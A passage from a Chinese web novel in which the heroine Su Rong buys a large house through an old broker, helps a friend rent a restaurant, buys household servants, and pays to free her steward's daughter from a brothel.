苏蓉一行进去,正看见两名牙人脸红脖子粗在争吵。四只爪子同时抓住一本账册,各不相让。争得激烈处,嗤啦,册子被撕为两半!
听吵嚷内容,似乎是一个牙人不讲道义,截胡了另一个牙人的客人。
带路小厮重重“咳”一声,牙人们意识到有外人进入,乱糟糟的房间为之一静。
不过,下刻瞧清苏蓉等人衣着,个个翻白眼昂头走回自己工位。埋首桌案厚厚堆集的账册中,从头到脚写满“我很忙”三个字。
抗拒之情,溢于言表。
苏蓉差点想掉头走掉,去找私牙,大不了多给几个钱。
而这时角落里,一直如同隐形人存在、又瘦又矮的一位老牙人迅速起身,迎向苏蓉一行,说话些许磕巴:“客、客人人,请问是来看房的吗?”
其余牙人包括学徒,不约而同面露嘲笑。
苏蓉这行人,明眼人一看就是买不起房那种人。九成九来找最廉价的租房,此类客人既没钱又难缠,只有一直接不到客的牙人愿意侍候。
苏蓉回头打量老牙人。
对方一身浆洗得发白的布长袍,尽管脸上长出很多黄褐老年斑,仍旧非常注重仪表。花白头发梳理一丝不苟,指甲干净,袍袖没沾染一丝墨迹。
对于这种老人,她始终保持一份尊重心。
当即微微一笑:“是,我们看房。这里有安静说话的地方吗?”
“有,里面请!”
老牙人立即指引。原来这间屋还隔出里间。有客人上门,牙人会带到里间洽谈事务。不过环境远没有正屋右厢房好,人多嘈杂。
也没有专人负责端茶倒水。老牙人请苏蓉一行在里间落座,火速掀帘子出门,去茶水房取了套茶壶茶杯端进来。手抖脚也抖,茶水洒出不少。
好在苏蓉等人都是苦出身,没谁介意他侍候不周。
老牙人有点掩饰不住的激动。
快半年了,他才
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又接到一笔可能的生意。客人们嫌他口齿不利落,记性不好,腿脚不便,几乎不来找他。
他只能捡其他牙人不要的资源,勉强在牙行混口饭吃。但是久不开张,他就没有提成,管事脸越来越黑。
他担心最终会被踢出牙行。
幸好今天又捡到一起客人。
哪怕对方只是租房呢?提成微薄,在管事那里,至少有个交代了!
“鄙姓苗,你们可以称呼我为苗牙人。请问,各位是打算合租民房呢,还是……”
他期望是各租各的。苏蓉这行人,不太像个大家庭,彼此相貌各不相同。看了一圈,他最后把注意力集中在苏蓉身上。
虽然这小娘子年轻,但行事气度,俨然为一行之首。做了几十年牙人,虽然没在行业中混出个名堂,这点看人眼光还是有的。
苏蓉指指张如英:“我要买房子,她打算租一家店铺。”
一句话,仿佛天降馅饼,把苗牙人当场砸晕!
圆睁双目看了苏蓉等人一会,方才从喉咙里往外努力挤声音,藏在袖里的手握成拳,颤抖不已。
“却……却不知客人预算是什么价位的?有价位,在下方可为客人推荐……”
张如英满怀期望。
“我们要开饭馆,要租那种带住家的房屋。面积可以不用太大,但必须位置好、客流量大。”
苗牙人认真登记好她的要求。
没办法,年龄大了,好记性不如烂笔头。年轻牙人随便往心里记的东西,他要写下来反复琢磨。
不过张如英不以为忤,反倒觉得这位老牙人重视自己的要求,心里挺高兴。
租房挣不了多少中人钱,但店铺不一样,高得多。苗牙人压抑住兴奋之情,和张如英聊几句,随后又转向苏蓉。
这个买房的才是重点!
一年不开张,开张吃一年。连续三年无中介收入,只能转行。
说的就是他们牙行。
促成苏蓉这一行两单交易,他说不定可以动动几十年没升位成功的位置,坐镇到右厢房去!
哪还会担心管事将他踢出牙行?
第137章 拥有小豪宅
苏蓉盘算自己家当,再想想三个弟妹,毫不犹豫开口。
“选一处至少两进以上的宅子,最好三进。地段环境要好,钱不是问题!”
话一出口,苗牙人惊震。
没想到穿着这么破烂的女子,说流民也有人信,口气这么大!不会是来消遣他的吧?
张如英瞅瞅苏蓉。
她知道苏蓉完全有这能力购买,羡慕难免。但人各有命,没必要嫉妒。
她将来努力挣钱,说不定也有机会买大宅呢。
“安卫城不比别的小县城。在这里买房,房价可能是别的小城镇二到三倍。”
苗牙人试探道:“普通三进院,大约要一百到三百两银子。豪华大宅五百两、八百两的也有。”
苏蓉略微沉吟,看来叶清辞给的一千两,远远不够过躺平生活。
不过她现在离了宜阳县,撒欢了用金手指,钱根本不在话下。没有就去挣!
她点头。
“那就给我看二进院和普通的三进院。地段一定要好,方便生活,出门安全。”
她家一门妇孺,不能住治安差的地方。
苗牙人听她不像忽悠自己,立马行动起来,殷勤地去外间搬来册子。
牙行的牙人虽有分级,所占据有用信息不同,但某些资源是共通的。例如客户上门,主动挂在牙行的房源,不是牙人自己拉拢的那种。
这种房源挂在牙房,牙人谁都可以推销。谁先卖出去谁得利,以此评级。
苗牙人跑出去,迅速抱了自己所有的资源,连同挂在牙房的公共房源没放过,几大本登记册,全部抱进里间。
他兴奋麻利的样子,立即引来所有人瞩目。连同正屋右厢房的牙人也偷摸跑来窥探小道消息。
不是吧?
看上去一副难民模样,能买房?还是大宅子?
所有人觉得苗牙人一定是老糊涂了,轻易而举被来人耍了。
这个蠢货,他们等着看乐子!
苏蓉一行在左厢房里间坐了大半天,最后在苗牙人诚恳激动的推荐下,圈选安卫城九处房源,其中五处是宅子。
接下来两天,她们需要东奔西跑看房子。
本来张如英和苏蓉可以分头行动,但两人都想要对方做参谋。苗牙人更不愿意把到手的生意让出去,于是只能辛苦点,多花些时间跑。
巴阳在客栈租了房间,守着一堆行李等候。
苗牙人作为铜牌牙人,没有专属马车。为了促成这两笔大单,狠狠心自掏腰包雇了马车,载着苏蓉等人满城奔波。
最后,张如英看中城南一间旺铺,带住家小院八十来个平方。签长约五年,年租金本该三十六两,享年付九折抹零头三十二两。
需预缴两年。
这一预缴,张如英手里就没钱了。
也不知张如英怎么和巴阳沟通的,巴阳愿意加入,投资六十两。加上苏蓉出资一百两,张记炊香阁顺利再次在安卫城成立。
苏蓉连看好几家宅子,选定同城南的一处三进宅。好处是离张记炊香阁近,附近有集市,甚至有私塾。坏处是价钱特贵超预期,花了五百两。
苏蓉咬咬牙拿下了。
自此她拥有两辈子第一处的小豪宅。
两单生意,苗牙人一口气挣了十来两银子的中人钱。当了几十年的铜牌牙人,一下子升格到银牌牙人,搬进窗明几净的右厢房办公。
懊恼得当时在左厢房的牙人们,好几个月说起这事,都是捶胸顿足!
他们咋就没看出当时的那一行人,穿得如此破烂,结果是装穷呢?
此后,牙所养成绝不狗眼看人低的良好风气;苗牙人走路带风一整年,乐得见牙花子不见眼。
有这么一笔神奇的交易,够他吹嘘一辈子了。
接下来,还有好处。
苏蓉和张如英在与苗牙人相处的过程中,觉得这位老牙人实在,索性装修、买家具也让其帮忙。
老牙人忙上忙下,实在比较蹦跶不动,索性从投靠自己的子侄中,选了个人品不错的小子,跟随自己当学徒,顺便帮点忙。
就靠苏蓉、张如英这两位客人,他有了坐镇右厢房的底气。而且一旦进入银牌牙人的地位,加上在牙房的资历,自然有源源不断的资源送上门。
苗牙人对苏蓉那是极其感激。能帮的小忙全帮了,
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也不再额外收费。
他认定了,苏蓉就是他这辈子的贵人!虽说出现得有点晚。
苏蓉忙忙碌碌收拾宅子,还要抽空去看店铺装修,忙得脚跟打后脑勺。两个孩子丢给冬梅带着,吃饭也没时间。
苗牙人看到这情形,随口说两句:“苏娘子,你这新买的宅子如此大,维护打扫自己可干不过来。不如买两个下人使唤,还添些人气。”
古代讲究聚气、聚福。其实宅子太空,房间太大并非好事。
苏蓉想想也是。
小兰和谭敖还小,她要想法挣钱维持这个家,所有家务不能全推给冬梅。
冬梅十五了,得好好养养,以便说亲。
她收养这几个孩子,不是为了奴役他们。
于是,她赞同苗牙人的意见,顺便让对方推荐合适的牙婆。
“牙行两个牙婆比较出名,手下也有大批如花似玉的小姑娘。”
苗牙人谨慎道:“不过,苏娘子,你家情况我看是不需要那种,只要能干活的老实人是不是?”
苏蓉颔首:“对。”
“那么就是钟牙婆了。她手底下大多是那些穷苦人家,活不下去把孩子送出来的。”
苗牙人解释:“这钟牙婆还有个规矩。她手底下人,绝不会卖去腌脏地方。客人登门,她会先问清对方背景。”
苏蓉一听,这倒是个有良心的牙婆,顿时更满意。
“好,那你就把她介绍给我!”
至于买奴婢,她没什么心理负担。只要对奴婢好,把她们当作雇工对待,不**,总比摊到一个恶主,或者流落烟花柳巷强。
说不定比她们以前在自己家里,还强两分。
苗牙人二话不说,领着苏蓉去找钟牙婆。
钟牙婆和苗牙人一样,在牙行是个业绩不好的主。因为坚持原则,手底下人流通性不大,甚至有一年半载卖不出去的。
不过她家境尚算优渥,没苗牙人那般窘迫。
见到苗牙人带客人登门,她还是挺高兴的,连忙迎接,让手下丫头给客人倒茶。
有苗牙人担保,自然跳过审查苏蓉背景的流程,直接进入到看人环节。
第138章 买人一时爽
听明白苏蓉要求,钟牙婆把自己手底下人全叫了出来。
能干活,品行纯良,她觉得手底下人都符合要求。
要在她这里找漂亮的,会弹琴唱歌的,那真没有!一时间,心情愉悦,看着苗牙人的褶子脸,都觉得对方容光焕发有魅力不少。
苏蓉一边看花名册,一边听钟牙婆口如悬河介绍。
大都是七八岁到四十岁的粗使丫头、婆子,小子较少。毕竟男人是家里的壮劳力,家里舍得卖掉的极少。
此外还有对三十来岁的夫妻。
男的在某大户人家当过管事,能写会算。但主家破产后,将他们夫妻卖掉。
据说他们还有个女儿,长得有几分姿色,被主家重金卖去不干净的地方。
苏蓉打量那对被钟牙婆特别介绍的夫妻。两口子看上去根本不像三十岁的人,满头花白,一脸凄苦。眼角的鱼尾纹盛满风霜。
为人奴仆,是他们人生中最大的悲剧,连生下的孩子也不能保全。
询问钟牙婆,钟牙婆极力推荐男人的才能,说当个管家绰绰有余。如果嫌价贵,可以拆开单卖。
夫妻俩打包十二两,男的单卖十两。
苏蓉听得挺无语的。
这些奴仆,在牙人眼中真就是货物。
女的没什么特长,只会缝缝补补,干点粗活。钟牙婆让人取出文房四宝,让苏蓉现场考较男人。
苏蓉随意问了下,发现男的写字尚算工整,算账也快。觉得多个管事帮忙打理自己宅子挺好,便定下了。
她自然做不出拆散人家夫妻的事。
两口子一并要了,让他们站在一边。
夫妻俩露出欢喜激动的神色,彼此对望一眼,规规矩矩站在苏蓉身后。
失去了女儿,夫妻俩仍能共侍一主,是不幸中大幸。
卖掉最棘手的货,也没单给自己留下累赘,钟牙婆更高兴。接下来不遗余力推荐其他人。
苏蓉十分谨慎。
养奴仆可不是养宠物。她不止要考察对方能力,还要注重对方品行。
虽说这时代奴仆不是人,买了就是私有财产。打杀转卖无人过问,尤其在这乱世中。但她自问做不出伤害无辜的事,所以还是要好好挑。
这些人,以后抬头不见低头见,合不来大家都难受。
因此,她没有完全听钟牙婆吹嘘得天花乱坠。而是凭苗牙人建议,自己眼光,又挑了几个人出来。
一名厨娘,两名身板健硕的粗使婆子,还有两个丫头一个小子。
丫头打算给冬梅和小兰一人派一个,替她好好照顾两人。至于小子,归谭敖差遣。以后谭敖入学当书童,免得被人轻视。
苏蓉对于这一点,想得很清楚。她是女户,家里没有男人。除了叶清辞,这辈子不打算再嫁。
所以,有必要把谭敖培养出来,好好替她顶门立户。冬梅和小兰嫁人后,娘家也有份底气。
当初叶清辞会建议她收留谭敖,想来也是这个打算。
环视在场人一圈,看到还剩一个男仆可怜兮兮站在角落,与乌泱泱一群女婢们呈鲜明对比。
头发全白了,胡子一把,买来不知能派什么用处,她收回目光。
然而钟牙婆多精明的人,注意到她的视线,立马不遗余力推荐:“这小老儿原是流民,气息奄奄险些倒毙街头,被我几口米粥救了回来。”
救人一时爽,养人火葬场。
把人带回来才发现这小老头肩不能挑,手不能提。还不爱说话,成天给你阴郁一张脸示人。
故而钟牙婆想把人赶回大街去了。碰巧苏蓉来买人,想着能不能推销出去弄个几百文回来也好,还省一个人饭钱,故而一起带来。
苏蓉想着确实需要一个门房看门打扫前院,眼睛又朝那小老头打量。
对方确实状态不好,瘦得风吹就倒,架不住钟牙婆说人便宜啊!
三百文买一名男丁,上哪去找这么便宜的好事!
不过多添双碗筷,又没有拖累,给不给月钱,还不是她这主子说了算。
故而,她忍不住开口多问那小老儿一句:“你愿意去我家吗?”
小老头也知道,这是他目前唯一的生路了。眼瞅钟牙婆快耐
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不住性子,将他丢回大街。他上前一步,双手抱拳,弯腰毕恭毕敬。
“小人窦云,愿受主子差遣!”
苏蓉略感意外地挑眉。暗想这钟牙婆培养手底下人,礼数还不错。
殊不知钟牙婆心里此刻腹诽,当初她就是被这小老头礼数周全地忽悠,以为捡到大便宜,下血本掏钱给对方治病。
结果,养好了一整个啥都不能做,除了懂礼啥都不懂。之前卖出的夫妻俩,男的好歹还能帮她算账管人呢!
现在有人愿意接手,烫手山芋总算丢出去了。
钟牙婆对着苏蓉,笑得春光灿烂眼珠子都没了。
最后结账,一对夫妻十二两,两个丫头六两,厨娘和小子十两,两名粗使婆子四两,加上窦云三百文,九个人一共花了三十二两三百文。
苏蓉……
这是不是买太多了?顶得上一套民宅了,她没有买人的经验。
转念一想,她有这个能力买,有这个能力养,怕啥!她一女户家,人多势众,以后和人打架,也多几个摇旗呐喊的不是?
于是,爽快给了钱,在两位牙人热情欢送下,浩浩荡荡带着九名奴仆回家了。
一行人无论主仆,皆身着朴素补丁麻布衣。不知道的,以为流民过街。
有那城廓户居民,不免多奉送两个白眼。寻思怎么最近城里门禁越来越宽松了,什么人都放进城!
苏蓉视而不见,直接回新宅。
家没收拾好,人睡在光溜溜的床板上,被褥还没置办齐全,考虑什么买衣裳。
冬梅带着两个孩子满头大汗,擦洗家具门窗。这宅子后院有井前院有小池塘,不缺水,就是几百平方大得离谱,搞清洁卫生累得半死。
她们痛并快乐着。
苏蓉带人回来,她们没听见动静。这就是需要个门房的原因。
看见黑压压一群人走到跟前,三人惊呆了。买回来的奴仆们也惊讶看似寒酸的女主人,居然拥有这么一处小豪宅。
大家面面相觑。
苏蓉心疼地拿走小兰手里的抹布,扔在地上,抱起孩子。
第139章 暗流涌动
这么小的人儿,干这种重活!她可是在方婆婆坟前发誓过,要好好养育小兰。结果跟着她,一路颠沛流离,现在还当上童工了。
幸好她想得开买人回来。
“都跟我来前院正屋大厅。”
她丢下一句,示意冬梅和谭敖跟上。其余奴仆们,自觉低头垂手,尾随在后。
进了大厅,里面一套桐木新桌椅刚送来,摆得整齐。
苏蓉坐了正中一把椅子,让冬梅和谭敖坐下手椅子。九名奴仆站成排,立于厅中,任冬梅三人好奇打量。
“你们先向三位小主子介绍自己。”
苏蓉掏出一叠**契,挨个对照,以便加深记忆。
那对夫妻中的男人,当仁不让先上前,恭敬施礼:“小人名叫龚成。她是小**子,名叫碧玉。”
“小人能写会算账,担任过前任主家管事。小**子会些缝补浆洗活儿,比较粗笨。”
苏蓉点头,示意夫妻俩先站一边。
然后厨娘、婆子、小子、丫头上前一一自我介绍。
厨娘人称洪幺妹,家里男人好赌,把她卖掉。会些简单厨艺,擅长做面食。
两名粗使婆子分别姓曲、林。小子比谭敖大三岁,名叫小山,据说很小便被拐卖,记不得家里情况了。
至于两个丫头,一名紫菊,一名玉冰。都是进牙所后改的名,苏蓉觉得好听,继续沿用。
玉冰看上去年岁较小,给小兰做贴身丫头;紫菊显得沉稳,指给冬梅。
窦云安排在门房,负责守门和前院清洁。
苏蓉特意问龚成以前主家的规矩,结合她在邓家经历,安排龚成暂时管家,想看看他的能力。
龚成将自己妻子碧玉打发去厨房,当洪厨娘的下手。至于两名粗使,曲娘子负责后宅卫生,林娘子浆洗衣裳床单。
至于月钱,苏蓉想想没提。先看看这些人的人品、能力再说。
这年头,有个遮风挡雨蜷曲睡觉的地方,还有口饭吃,大多数人心满意足,不会计较主人给不给月钱。
苏蓉一声令下,新宅邸便运转起来,冬梅三人得以轻松休闲下来。谭敖以前习惯了有奴仆的生活适应得很快,倒是冬梅和小兰惴惴不安。
客客气气待跟随自己的紫菊和玉冰,唯恐怠慢了两人,别说随便使唤她们了。
好在两人苦处身,有种你待我一分好,我恨不能还报你十分的天性纯良,没有生出事来。不然,真是有负苏蓉特地给她们安排下人的苦心了。
勉强理顺家里事,苏蓉风风火火奔波于外面。
张记炊香阁要筹备开张,金手指要练,豆子兵采集来的药材要卖。
灵芝人参、铁皮石斛、首乌雪莲,冬虫夏草……随便取一些卖给城里大药房,便是成百上千两白银入账。
若非处于乱世,她不便过于张扬,早就一夜富可敌国。
龚成矜矜业业管家,抄着生怕主家入不敷出的心,殊不知苏蓉已经实现财富自由。
待得张记炊香阁开张,张如英请了伙计,苏蓉除了帮忙盘账,逐渐清闲下来。
隔三岔五让巴阳驾车,两人带上甲兵,出城狩猎。店里有源源不断的野味供应,省了很大一笔开支。
偶尔甚至能吃上虎鞭、熊掌,简直惊绝一城百姓!明有陈家人罩着,暗有叶县令悄悄保护,小饭馆开得顺风顺水,赚得盆满钵满。
苏蓉时常会想起叶清辞。
不过目前生活,令她十分满意。这真是穿越到这时空以来,最平静舒适的时光。活得惬意,不用担心受欺凌。
她东问西问,最后给谭敖找了家名声远播的私塾,让小山陪谭敖每天上下学。
这些年科举制度瘫痪,上面忙着交战抢地盘,谭敖可能没有机会继续科考。但多学点知识是自身积累的财富,有条件去,还得去。
谭敖十分感激苏蓉栽培,努力奋发读书,不敢有分毫懈怠。
苏蓉还请了名女先生,住家教冬梅和小兰认字算账。女红学不学没关系,看个人兴趣。务必要做到知书达理,擅长理财管家。
三个孩子忙得像陀螺。除了学习,也抽空去店铺帮忙实践。
苏蓉暗戳戳的,想办法四处打听,给冬梅寻摸个好人家。
这事急不来,好在冬梅未满十六,有大把时间等待好姻缘。
陈家兄
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弟登门拜会两次,考虑苏蓉一门妇孺,没好意思常来。倒是喜欢往张记炊香阁跑,赞赏张如英手艺,给家人带回野味品尝。
好多消息,都是张如英在店里收集到,又八卦说给苏蓉听。
转眼,一个漫长冬季过去,迎来春暖花开的日子。
安卫城隐隐暗流涌动。
没多久,**性消息逐渐在城中流传:三皇子与二皇子开战,两败俱伤。乌蛮人撕毁和四皇子缔结的契约,悍然举兵入侵中原!
大靖防线土崩瓦解,乌蛮人长驱直入,直袭內腹地。
最重磅的一条消息,是宜阳县落入乌蛮人手中!
至于该城镇怎么陷落,无人清楚。
只知安卫城陆续接纳不少流民,从他们口中探听出的信息。
苏蓉庆幸自己一家逃出生天,不免忧心还留在宜阳县的人。尤其姜厨娘,她选择留下,能逃脱这场灾难吗?
非我族类,其心必异。
不敢想象乌蛮人会怎样对付大靖百姓。
流民多了,安卫城又像当初的宜阳县一样,牙行逐渐人满为患。
钟牙婆主动送人过来,舌灿莲花。苏蓉却不过情面,又买了对十二三岁的姐妹花。
说是父母双亡无依无靠,被爷奶狠心卖掉,只为给家中唯一孙子换粮。
皆是苦命人。
苏蓉唏嘘,问名字叫大丫二丫,于是取名听荷听雨,安排在宅子打杂。闲暇时和紫菊玉冰一样,陪冬梅小兰认字读书理账。
学多少,学成什么样,看自己天分与努力。她给了机会,未来靠自己。
衙门贴出告示,为了前线胶着的战事,还有抗击入侵的乌蛮人,大力筹措军费。征兵加增税。
一石激起千层浪。
安卫城顿时人心惶惶,群情汹涌。
此次征兵不同以往。以前只是有可能派去戍边,期限一到拿着安家费可以解甲归田。这回是训练好,一定会投放战场。
自古征战几人回,一将功成万骨枯。
瞬间老百姓感觉天塌了。
富贵人家尚能花钱买人顶替,贫苦家庭被抽去家中顶梁柱,只能抱头痛哭,上演生死离别。
第140章 无底洞
苏蓉一女户,家中无成年男丁,自然不需要担忧征兵。但女户需要缴纳的税也不少,加上她使奴唤俾。
按人头税算每个人三百文,非常时期增加到五百文,十四个人就是一年七两银子。
加上女户、划分为城郭民的等级,林林总总要纳税十多两银子。这还是她们初来乍到,没来得及购置田地店铺等不动产的情况。
乱世这些东西带不走保不住,不如存现银安全。就算是银票,她也不放心。不知不觉积攒下来上万身家,大部分兑换成金叶子,藏在身边。
而经常狩猎,她金手指如今升级到可以一次召唤二十名铜甲兵、有几率出两名白甲神兵的地步。
虽然没有机会见识白甲神兵的真正威力,但从其几倍于铜甲兵狩猎的收获看,白甲神兵实力,应该能抵十名普通铜甲兵。
她静悄悄蛰伏积蓄实力。人不犯我,我不犯人。若有朝一日兵临城下,危及自身和家人,那也顾不得惊世骇俗。挺身而出,要改变世道。
又一次外出狩猎,满载而归。留了部分在张记炊香阁,剩余的苏蓉让巴阳送回家,打算腌起来做成腊肉。
家里仆役对于主子本事,早从惊讶得合不拢嘴,到**以为常。欢喜迎出来帮忙卸货。
物价飞涨,别家肉都吃不起,他们托主子福,隔山岔五有肉吃还是野味,真是幸福无比。
主子最近还给他们发月钱了。虽然微薄,也算从此有了份个人积蓄。
对于主子,他们恨不得粉身碎骨表忠心。苏蓉之前担心的大户人家那些龌龊事,并没出现。
没人会傻到失去现在的好生活。如此宽厚纯良的主家哪去找?
连之前病殃殃整个散发抑郁气息的窦云,也脚步生风,精神气十足照看门户。
苏蓉发现这小老儿竟然还是个识字的!
门房记录,字迹银钩铁画,不比龚成差。猜测这窦云是个有故事的人?只是对方不愿意说,她不勉强。
想到龚成,随意打量一圈卸货的人,没见人。
心想这倒是奇了。
平日最积极迎接她回家的一个人,今日竟然不在?
进了厅,听荷奉茶,冬梅带着小兰听她说些外面新奇见闻,龚管事才急匆匆赶到。
见三位主子说笑,气氛热烈,不敢多言静候一旁。
苏蓉例行抽查两个妹妹功课,觉得满意放她们回房。留下龚管事,听他汇报家里最近的情况。
龚成简略把重点说了,然后期期艾艾,欲言又止。
苏蓉自己当过下人,对于下人始终保持两分宽容心,温言道:“龚管事,有什么话你直说。我既然让你做了管家,该有的信任一定会给。”
只要不过分,没什么事不好商量。
龚成嗫嚅:“主子,碧玉病了,能否让她休息两日?”
苏蓉一听,原来是这么小的事!有些纳闷对方支支吾吾,这有什么不敢说的?
“你是管家,下人生病,该请大夫的请,走公帐;该安排休息的休息,不要让她们带病坚持干活!”
她又不是苛待下属的领导。
她可是放了三百两碎银在冬梅那里,有紧急事可以随时去报备支取。
龚成谢过,佝偻背站在原处迟疑不走。
苏蓉便问他:“碧玉怎么忽然病了?开春天气凉,要注意冷暖。”
龚成听了这关心的话,牙一咬,给苏蓉跪下了。
“主子……实不瞒主子,碧玉是担忧我们闺女,忧郁过度病倒的!”
苏蓉顿时想起,这夫妻俩的女儿,是被前任主家卖去了青楼。几年前的事,怕是人早就不在,难为碧玉为此伤心到现在。
可怜天下父母心。
她正想安慰龚成一番。龚成抬起头,泪流满面,吓了她一跳。
“主子!”
龚成沙哑着嗓音道:“能不能预支我们夫妻此后几年的月钱?现在有一个机会,能让我们赎回那丫头……”
说着,他趴在地上,连连磕头。砰砰有声,很快额头红了一片。
苏蓉措手不及,连忙起身将人扶起来,隐含愠怒。
“有话好好说!龚管事,你这是以退为进逼迫于我吗?”
搞得像道德**似的。
龚成站起身,神
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情焦急仓皇。既担心救不了唯一女儿;又怕惹怒主子,连夫妻俩最后的庇护也失去。
苏蓉见他冷静下来,这才坐回原位,细问究竟。
可能羞于启齿的原因,加上顾虑,向来嘴皮子利落的龚成半天才解释清楚。
原来夫妻俩自从有了新的主家,安身立命之所,便忍不住打探女儿小雁的消息。
得知女儿最近疾病缠身,遭老鸨嫌弃,准备贱价卖去更低级的窑子。夫妻俩着急,想方设法营救。
但他们自己属于奴仆,别说没钱,就算有钱也必须通过苏蓉。故而,碧玉觉得没了指望,伤心病倒。
龚成走投无路,怀抱最后一线希望,来求苏蓉。
苏蓉知道,别以为青楼女是贱籍,人人瞧不起。但她们可比一般平民百姓值价得多。尤其那些正当红的,几百上千两白银,是个正常数目。
要救一个素昧平生的女孩,就算对方是手下人女儿,也得谨慎对待。
她没有立即回应龚成,而是先打听细节。
“龚管事,你确定花钱能救出女儿?赎身钱几何?接回来,她的病能治好吗?”
三连问。
这不是龚成夫妻要面对的问题,而是她所需要付出的代价。极可能钱出了,人没了,甚至龚成夫妻跟着抑郁死掉,她这主人家损失惨重。
龚成自然心知肚明。
他不敢对主子说这事,正因他也非常清楚,他没有任何资格让主子花那么大的代价,救自己女儿。
主子心善,不是他们得寸进尺的理由。
可想想在生死边缘挣扎的女儿,他实在放不下!悲痛喃喃:“二十两银子……老鸨说愿意放我女儿回来……”
他们夫妻现在的月钱,加起来一两,两年能抵这笔债。但还有治病的钱呢?
那是个无底洞!
小雁他去见过一面,病得完全痩脱了形,不知有没有机会救回来。
可作为爹娘,保不住唯一孩子。现在还要眼睁睁看着孩子继续受折磨,直到死。那简直是拿着刀,一刀刀生剜他们夫妻的肉。
龚成垂下头,泪如雨下。
第141章 右眼跳
苏蓉见龚成这样子,一个大男人在自己面前哭得稀里哗啦,也不好受。
想想这烫手山芋夫妻都带回家来了,不能不管。
犹豫一下便取出二十两银子,交给对方。
“去给你女儿赎身,把人接回来!告诉二姑娘一声,以后小雁看病走公帐。”
当她又多买了个下人。至于要不要这夫妻俩还钱……看这夫妻俩以后会不会尽心尽力为她办事吧。
龚成一听,喜从天降。立即匍匐在地,给苏蓉重重磕了三个头,颤抖双手接过银子。
“主子,我们夫妻……一家三口,结草衔环,也誓要报答主子大恩!”
“快去救你女儿吧!”
苏蓉叹息。
龚成怕夜长梦多,老鸨提前将女儿卖掉。急忙爬起来,顾不上回房告知碧玉,又哭又笑抹着眼泪冲出门。
苏蓉一个人坐在厅里,感叹这世道。忽然窦云快步进厅禀报:“主子,叶县令派人来招你去衙门,说有要事相谈。”
苏蓉闻言,吃惊地抬头。
以为今后和叶县令再无瓜葛,毕竟当时对方的嫌弃溢于言表。没想到相隔这么久,对方又会登门联系。
要在对方地盘上过活,她不敢怠慢。立即起身换件新衣裳,随报信衙役前往县衙。
衙役带她从后角门入,叶兴贤一身便装,仍然等在当初见她的地方。
与之前不同的,还有个粉雕玉琢的小男孩,被叶县令抱在怀里。两人共同看一本书,那男孩不时童言稚语,惹得叶县令发出朗朗笑声。
见苏蓉进门,叶兴贤将小男孩抱下膝盖,放在地面,随意介绍。
“这是我最小的孩子,叶浩锐,今年七岁。”
说着拍拍叶浩锐的小脑瓜:“锐儿,叫苏姐姐!”
苏蓉连忙陪笑施礼:“不敢!民女见过叶小公子。”
别看叶浩锐年纪小,行动彬彬有礼,学着大人模样抱拳,口称:“苏姐姐。”
苏蓉觉得这年龄差叫姐,怪让人尬尴的。但叶兴贤是叶清辞堂叔,年纪一把还生个孩子出来,就和叶清辞平辈,挑不出错。
“去玩吧。”
叶兴贤目光慈和,让下人进来带走儿子。这才回过头来,招呼苏蓉落座。
苏蓉奇怪叶兴贤会有什么事找自己?叶兴贤屏退左右,拿出一封加了蜡印的信交给苏蓉,隐隐没好气。
“本官那堂侄来信了。还千叮万嘱,一定要亲手交到你手中!故而本官将你叫来。”
苏蓉顿时面上发热。急忙上前,双手接过信件。本想回家慢慢看,但叶兴贤眼睁睁看着她,不说下文,意思让她现场看?
苏蓉脑袋大了。转念想到自己和叶清辞关系也没发展到那一步,更像是好友互道珍重后,各自远行那种。
自己也迫切想知道叶清辞在信中说了什么,便当着叶兴贤的面,拆了信封。
里面飘出几张纸,不小心掉在地上。两人都看得真切,原来是银票。
叶兴贤面上没说什么,心里唉声叹气。
看来这堂侄认定这堂媳妇了,都在给家用了。
苏蓉闹个大红脸,慌张捡起来再去看信。叶清辞却没说什么让人脸红心跳的话,一本正经,只问她在安卫城过得如何。
一千两银票,是他把苏蓉给的灵芝人参,献给太子殿下一部分,景渊高兴赏赐的。因此,这钱是苏蓉应得的。
所以,千里迢迢托人送到苏蓉手中。
苏蓉忍不住心里吐槽,这人一直内敛无比。要不是得了对方赠送的天蚕宝甲,她都不敢确定对方心意。
现在又一个劲送钱,还假借他人之名,好像要跟自己撇清关系。表现坦白点能死吗?
太子殿下……
咦?太子殿下景渊!
她突然反应过来,顾不得失礼,直冲叶兴贤发问:“叶大人,太子没死?”
叶兴贤已经不意外她能知道这么绝密的消息了。再说,不久后这件事也不会再成为秘密,将公诸于世。
他颔首,深吸一口气。
“不错!太子殿下幸免于难,逃出生天,去了柏州。这小子倒是真信任你,什么都对你说?”
想不承认这是自己未来堂侄媳,都不行。
叶兴贤起身:“苏娘子,这段时间,你最好别出城,安心在家守护家人。安卫城……可能即将有变化!”
至于什
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么变化也不说,直接送客,让人带苏蓉离开。
苏蓉百思不得其解,会有什么变化,难道与太子景渊有关?
安卫城目前名义属于新帝三皇子的地盘。叶清辞代表叶家支持在柏州的太子,意味接下来叶兴贤会站队。
极可能宣布安卫城退出新朝廷版图,并入柏州。
不知叶兴贤这么做,会不会导致安卫城大乱,所以才叮嘱她近期别出城。
回到家,苏蓉右眼皮一个劲跳,总感觉会有不好事发生。
好在她现在金手指十分强力。直接召唤多名甲兵,以家丁名义行动起来,分头保护家人,还有在张记炊香阁忙活的张如英及巴阳。
遇到危险,保证大家万无一失。
龚成直忙到深夜才归。
不敢惊动已经睡下的苏蓉,等天明苏蓉起身,吃完饭闲着,方敢来回报。
苏蓉跟着龚成,来到两口子房间。碧玉的病大半因女儿而起,如今人救了回来,哪里躺得住?忙前忙后,悉心照顾女儿。
恨不得将多年未尽的母爱,全部补偿给孩子。
见男人带主子进屋,立即跪下,磕头谢恩。言语无法形容她有多感激!
苏蓉把她搀起来,走到床边看昏睡不醒的小雁。
可怜的姑娘,不过比冬梅略大,已是阅尽千帆,被摧残得不成人形。
本该青春娇嫩的面容,爬满暗红溃烂的疮痂。眼窝深陷,发泽无光,如一具枯槁骨架,静静躺在床上。
既让人怜悯,又担心有传染风险。古代条件差,更容易导致细菌滋生。
走出屋子,夫妻俩诚惶诚恐跟在身后。
女儿的命,全在苏蓉一念间。
苏蓉走到无人处才回头,开口问两人:“大夫来过了吗,怎么说?”
小雁这样儿,狠心的老鸨还敲诈龚成夫妻二十两银子。这是知道他们的父女关系,往死里逼啊。
她有种冲动去把青楼端了!又不好轻易给叶县令惹麻烦。
碧玉抹泪哽咽。龚成作为男人好歹坚强些,拱手:“回主子,大夫昨夜来看过,付了诊金二两。”
“大夫怎么说?”
苏蓉问重点。
第142章 你是我堂嫂
“大夫说……”
龚成舔舔嘴皮,心里苦如黄连。
